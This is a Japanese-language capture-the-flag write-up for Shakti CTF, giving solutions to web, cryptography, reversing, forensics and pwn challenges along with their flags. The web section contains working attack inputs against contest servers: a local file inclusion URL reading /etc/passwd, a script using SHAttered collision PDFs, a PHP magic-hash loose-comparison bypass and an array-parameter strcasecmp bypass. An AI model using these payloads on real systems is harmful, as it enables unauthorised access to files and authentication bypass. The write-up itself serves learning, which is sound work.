Shakti CTF: Write up
Web
AuthEN
ソースコードをみると
<script> $(“.c_submit”).click(function(event) { event.preventDefault() var email = $(“#cuser”).val(); var password = $(“#cpass”).val(); if(username == “admin” && password == String.fromCharCode(115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125)) { if(document.location.href.indexOf(“?password=”) == -1) { document.location = document.location.href + “?password=” + password; } } else { $(“#cresponse”).html(“<div class=’alert alert-danger’>Wrong password sorry.</div>”); } }) </script>
と書かれているので
115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125
を変換すればいいことがわかる。
>>> str="115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125" >>> str_list = str.split(", ") >>> flag = '' >>> for i in str_list: ... flag += chr(int(i)) ... >>> flag 'shaktictf{b3y0nd_pur3_c4lculati0ns}'
Machine
http://34.72.245.53/Web/Machine/robots.txt
にアクセスすると
User-agent: * Allow: /var/www/html/ Disallow: /mkiujnbhytgbvfr.html
と出てくるので
http://34.72.245.53/Web/Machine/mkiujnbhytgbvfr.html
にアクセスするだけ。
Biscuits
httpリクエストのクッキーを見るだけ。
Ador
ソースコードをみると
<!-- try the parameter `name` user -->
といわれてるので
http://104.198.67.251/Ador/?name=admin
にアクセスすると
Doors
<!-- ?page -->
って書いてあったので適当にパラメータに値を渡したら入力をそのまま出力していたのでXSSで南下するのかと思ったら単純に/etc/passwd
を渡したらLFIの脆弱性があってそのままflagが出てきました。
http://35.225.9.113/Doors/?page=/etc/passwd
PharAway
flag1
http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa
flag1はAn4ly71c4l_
flag2
sha1を衝突させる必要があるので
これを参考にpython3用にスクリプトを書き換える。
import requests import urllib rotimi = urllib.request.urlopen(url="http://shattered.io/static/shattered-1.pdf").read()[:500]; letmein = urllib.request.urlopen(url="http://shattered.io/static/shattered-2.pdf").read()[:500]; r = requests.get('http://34.72.245.53/Web/PHPhar/', params={'secret': '1337aaaaaaaaa','a': rotimi, 'b': letmein}); print(r.text)
flag2はEng1n3
flag3
if (!isset($_GET["md4"])) { die(); } if ($_GET["md4"] == hash("md4", $_GET["md4"])) { echo "<h1>".$flag[3]."</h1>"; } else { echo "bad"; }
を参考にする。
<?php $n = 0; while (1) { $s = "0e$n"; //echo "$s\n"; $h = hash("md4",$s); if ($s == $h) break; $n++; } echo "$s : $h\n";
$ php solve.php 0e251288019 : 0e874956163641961271069404332409
flag3は!=D1ff3r3nc3
flag4
if (isset($_GET['abc'])){
if (!strcasecmp ($_GET['abc'], $flag[4])){
echo $flag[4];}}
を参考にする
http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa&abc[]=0&md4:embed:cite
flag4はbad_Eng1n3}
よって、flagはshaktictf{An4ly71c4l_Eng1n3!=D1ff3r3nc3_Eng1n3}
Cryptography
3,2,1..Go
enigmaで復号できることがわかる。
このサイトで復号する
よってflagはshaktictf{you_have_cracked_the_enigma_genius}
Easy Encoding
与えられた数字が2進数なので変換する。
$ echo -n 'NzM2ODYxNmI3NDY5NjM3NDY2N2I1NzM0NzI2ZDU1NzA1ZjQzNjgzNDZjNmMzMzZlNjczMzdk' | base64 -d 7368616b74696374667b5734726d55705f4368346c6c336e67337d
今度はハッシュ値っぽいので
flagがでてきた。
Ancient Warfare
ただのROT13
Reversing
Just-Run-It!
$ strings run /lib64/ld-linux-x86-64.so.2 libc.so.6 printf __cxa_finalize __libc_start_main GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable AWAVI AUATL []A\A]A^A_ Here's your flag! : shaktictf{and_that's_how_you_run_a_linux_binary!} ;*3$" GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7698 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry run.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable _edata printf@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
PYthn
もとのスクリプトが
Z=[] k=[] Q="K78m)hm=|cwsXhbH}uq5w4sJbPrw6" def Fun(inp): st=[] for i in range (len(inp)): st.append(chr(ord(inp[i])^1)) return(''.join(st)) def FuN(inp): for i in range(len(inp)): if(i<11): Z.append(chr(ord(inp[i])+i+5)) else: Z.append(chr(ord(inp[i])+4)) return(''.join(Z)) def fuN(text,s): result = "" for i in range(len(text)): char = text[i] if(char.isnumeric()): result+=(chr(ord(char)-1)) elif(char.isupper()): result += chr((ord(char) + s-65) % 26 + 65) else: result+=(chr(ord(char)^1)) return result X=input("Enter input:") k=FuN(Fun(X)) if(Q!=k): print("NO") else: print("Flag: shaktictf{"+X+"}")
なので
def Fun_reverse(inp): st=[] for i in range (len(inp)): st.append(chr(ord(inp[i])^1)) return(''.join(st)) def FuN_reverse(inp): for i in range(len(inp)): if(i<11): Z.append(chr(ord(inp[i])-i-5)) else: Z.append(chr(ord(inp[i])-4)) return(''.join(Z)) flag = Fun_reverse(FuN_reverse(Q)) print(flag)
を追加する。
$ python3 PYthn.py G00d!_c0nTinUe_Expl0r1nG_Mor3
Damez
$ strings damez /lib64/ld-linux-x86-64.so.2 -'o libc.so.6 exit fopen puts __stack_chk_fail printf strlen __isoc99_fscanf fclose __cxa_finalize strcmp __libc_start_main GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.7 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u+UH $u1H []A\A]A^A_ input.txt Error! file input.txt not found shaktictf{K33p_th3_gam3_g0ing_gurl!} You got it! Flag: %s Try Again! :) :*3$" GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.8060 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry damez.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable __isoc99_fscanf@@GLIBC_2.7 puts@@GLIBC_2.2.5 _edata fclose@@GLIBC_2.2.5 strlen@@GLIBC_2.2.5 __stack_chk_fail@@GLIBC_2.4 printf@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start strcmp@@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main fopen@@GLIBC_2.2.5 exit@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
Forensics
Shark on Wire
Not That Easy
画像っぽいので取り出してみると
QRコードが出てきました。
このサイトで読み取ってみると
Pwn
Connect
$ nc 34.72.218.129 1111 You have successfully connected to our service! To get your flag, please enter the appropriate bash commands. cat flag.txt shaktictf{w3lc0me_t0_th3_ar3na_c0mrade}